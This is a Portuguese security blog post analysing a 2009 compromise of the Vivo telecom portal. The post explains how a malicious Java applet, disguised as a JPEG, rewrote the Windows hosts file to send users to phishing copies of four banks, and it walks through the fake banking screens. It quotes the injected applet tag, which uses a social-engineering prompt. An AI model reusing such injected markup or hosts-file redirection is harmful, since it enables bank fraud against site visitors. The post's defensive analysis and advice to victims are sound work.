Ontem (dia 8), foi descoberto um incidente de segurança que comprometeu o portal da operadora de telefonia Vivo e pode ter afetado milhares de usuários.

Explorando alguma vulnerabilidade de segurança no portal da Vivo, um atacante conseguiu injetar no portal um código malicioso. Quem acessou a página principal ( http://www.vivo.com.br/portal/home.php ) infectada recebia a solicitação para que fosse instalado um applet (miniaplicativo Java), que era na verdade um código malicioso.

Portal Vivo - applet malicioso
Crédito da imagem: Victor Santos, blog The Hackerbuster.

O arquivo injetado por atacantes no portal da operadora foi “disfarçado” como se fosse uma imagem JPEG, quando na verdade era um pacote executável Java (formato JAR) do applet malicioso, conforme se pode ver pelo trecho de código a seguir:

<applet name=”Vivo Online - IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run´.)” code=”laa.class” archive=”http://www.vivo.com.br/portal/co/logo_top.jpg” width=”0″ height=”0″><param name=”Vivo Online” value=”"></applet>

A análise de segurança do código descompilado do miniaplicativo malicioso evidencia dois aspectos principais: o objetivo da fraude e a exploração de mais vulnerabilidades — no portal da Vivo e em um portal colaborativo da Universidade de São Paulo – USP ( goos.io.usp.br ).

A vulnerabilidade no portal da Vivo expôs gravemente o site e foi divulgada em muitos blogs e sites na internet. Permitia a qualquer pessoa com algum conhecimento técnico obter dados sensíveis do computador onde o site está hospedado e até executar comandos. A falha ficou válida até a tarde de hoje, quando a página vulnerável foi removida do site.

A fraude

O objetivo da fraude é, como em quase todos os casos brasileiros de phishing scam, roubar dados bancários.

Como se percebe pela análise técnica do código do applet malicioso, seu propósito era comprometer o computador do usuário, de modo que a tentativa de acesso aos sites de alguns bancos brasileiros levasse à réplicas fraudulentas destes. As réplicas solicitam do usuário todos os dados bancários que dão ao criminoso o acesso eletrônico à conta de banco.

O applet malicioso tenta gravar no arquivo \WINDOWS\system32\drivers\etc\host endereços IP falsos dos sites dos bancos Santander, Itaú, Bradesco e Nossa Caixa. O sistema operacional Windows normalmente consulta este arquivo local antes de procurar resolver via serviço Internet DNS o endereço físico (número IP) que leva a um site (nome de domínio) fornecido ou acessado pelo usuário. Os endereços IP fraudulentos levavam a réplicas maliciosas dos sites desses quatro bancos.

Assim, se o usuário acessou o site da Vivo comprometido, executou o applet, utiliza o Windows em seu computador e depois tentou acessar os endereços adulterados de um dos bancos, chegaria a réplicas fraudulentas destes, conforme ilustrações a seguir:



A fraude do Bradesco não estava sendo exibida corretamente quando acessei, por isso não foi reproduzida aqui.

Fraude Nossa Caixa – Passo a passo

Experimentei prosseguir (com dados fictícios, claro!) na fraude da Nossa Caixa, para ver o que ela faz. Basicamente, ela solicita, do incauto usuário, todos os dados de sua conta bancária: agência e conta, senha, assinatura eletrônica e todos os dados do cartão de segurança do banco. Veja o passo a passo.

1) O usuário clica em “Acesse sua conta” (veja imagem acima).

2) A tela seguinte (bemvindo.php) solicita usuário e senha. O site fraudulento não tem “cadeado” do HTTPS.


Para o preenchimento da senha, há inclusive a opção de usar um Teclado Virtual.


3) A título de “checagem de conta para sua segurança”, a próxima tela (checalogin.php) solicita os números da agência e da conta.


4) A próxima tela (CarregaConta.php) exibe uma tela de entrada, saudando o usuário pelo login fornecido. Todas as opções da barra de menu na parte superior levam para a mesma tela seguinte.


5) Escolhendo qualquer das opções do menu superior, chega-se à próxima tela (ChecarConta.php). Agora é solicitada a assinatura eletrônica.

Nesta tela, é inclusive obrigatório o uso do Teclado Virtual.

Se o usuário fornecer uma assinatura com poucos dígitos, o sistema informa que está inválida.

6) Assinatura validada, chega-se à próxima tela (ChecarConta2.php). Agora, o usuário tem que transcrever tudo que aparece no “Nossa Chave de Segurança”.


7) E por fim, o usuário vai ter mais trabalho agora: tem que transcrever todos os dados do seu “Nossa Chave de Segurança”, uma grande tabela de dados na tela ChecarConta3.php.


8) Depois disso, a última tela tem um nome descarado: salvadados.php. Pronto! Todos os dados do usuário foram salvos na base de dados do ladrão. Essa tela então exibe um texto dando a indicar que as configurações do navegador não estão adequadas. O link existente ao final, “Página Principal”, leva para a tela de entrada do home banking verdadeiro do banco Nossa Caixa.

Aí já é tarde demais, se o usuário digitou seus dados bancários corretos em todas as telas anteriores, eles já estão nas mãos de bandidos.

Fraude Itaú – Passo a passo

A fraude do Itaú é mais simples, solicita apenas agência, conta e senha.

1) Primeiro, o usuário deve digital agência e conta na tela inicial (veja na ilustração no início do artigo).

2) Na tela seguinte (bklcgi.php), é solicitada a senha eletrônica do Itaú Bankline. Tudo sem “cadeado” do HTTPS.

Ao invés do nome da pessoa, é exibida a palavra “Entrar” no botão que abre o teclado virtual (o site real exibiria o nome do correntista).

Ao fornecer a senha uma vez, é exibido um aviso “Senha incorreta, restam agora duas tentativas.”

Solicitada a senha novamente, nova mensagem informa “Sua senha está inválida, favor efetue o login novamente!”

Em seguida, o usuário é conduzido à página real do Itaú Bankline.

Usuários atentos poderão perceber sutis diferenças. Usuários desatentos podem ser levados a informar os dados sigilosos que darão a um criminoso o acesso eletrônico à sua conta bancária!

Comunicado oficial da Vivo

Transcrevo a seguir o Comunicado da operadora Vivo à imprensa sobre o ocorrido, divulgado em seu portal (A Vivo – Comunicados) em 2009-09-09:

Ataque de hackers ao site da Vivo

Um dos servidores de acesso de usuários ao Portal da Vivo na Internet foi vítima de um ataque de hackers nesta terça-feira, dia 08 de setembro. A partir da detecção do ataque, as equipes de segurança da informação da Vivo entraram em ação e solucionaram o problema às 00h50 desta quarta-feira.

A Vivo informa que os usuários que clicaram numa falsa janela de “warning security” para execução de arquivo, é que podem ter tido o seu computador infectado. Portanto, a recomendação da Empresa é que usuários que tenham acessado o portal www.vivo.com.br no período de 16h07 de 08/09/2009 até as 00h50 de 09.09.2009, e que tenham executado o falso arquivo, evitem acessar sites de bancos até que façam uma verificação de segurança em seu computador.

A Vivo informa que os serviços disponíveis no seu portal não foram afetados e continuam disponíveis e seguros aos seus clientes.

Minhas recomendações

Quem acessou o portal da Vivo nos dois últimos dias (8 e 9 de setembro), usa sistema operacional Windows e clicou o botão “Run” na janela de aviso de segurança do portal (ilustração no início do artigo) — que executa o código malicioso — provavelmente está com seu computador comprometido (infectado).

Deve inicialmente evitar acessar sites bancários neste computador, e fazer verificações de segurança no computador, com o auxílio antivírus e outros utilitários de inspeção de segurança atualizados e, se for o caso, ajuda técnica profissional. Em especial, deve-se rastrear a adulteração do arquivo de sistema \WINDOWS\system32\drivers\etc\host, onde o código malicioso adiciona os IPs fraudulentos.

Quem está nessa situação de risco e acessou site do banco deve também entrar em contato — por telefone ou pessoalmente — com o banco e se informar sobre a possibilidade de ter sido vítima de fraude bancária.

Conclusões

Alguns aspectos que se pode concluir dessa fraude:

  • Como quase sempre, o grande objetivo do ataque envolve roubar dados bancários. Os usuários devem ter muito cuidado, precauções e uma boa dose de desconfiança ao acessar o banco pela internet ou informar dados bancários — ou outros dados pessoais e sigilosos — em qualquer site que seja.
  • A atenção na internet deve ser constante. Principalmente aos detalhes. Um importantíssimo: Nas fraudes bancárias acima, o criminoso não conseguiu fraudar uma conexão segura HTTPS, que faz o navegador exibir o famoso “cadeado”. Quem acessa o site do seu banco deve prestar atenção a cada detalhe. Qualquer diferença sutil que seja (e nestas fraudes existem algumas em relação aos sites verdadeiros) deve ser motivo para o usuário não prosseguir e, de preferência, entrar imediatamente em contato com o seu banco (por telefone ou pessoalmente).
  • Enquanto a maioria das fraudes de falsificação de site (phishing scam) na internet tenta se proliferar através de mensagens de spam por correio eletrônico, esta fraude bancária conseguiu explorar uma vulnerabilidade de um reconhecido portal de serviços, no caso o da operadora de telefonia Vivo, fazendo o portal hospedeiro e difusor do código malicioso. Neste caso, o perigo é muito maior, pois quando o site real da Vivo solicita a execução de algum complemento, mesmo o usuário cauteloso (que já deve desconfiar de e-mails suspeitos) tende a confirar no site. Ponto negativo para a Vivo, que ao deixar um grande portal vulnerável por um dia inteiro, pôs em grave ameaça milhões de usuários que confiaram na empresa.
  • A Internet é uma maravilha espetacular da informação, dos serviços on-line, do comércio eletrônico. Com certeza. Mas está cada vez mais e mais perigosa!

Para saber mais

Análises técnicas da falha explorada:

Notícias sobre este incidente de segurança [Atualizado em 2009-09-10]: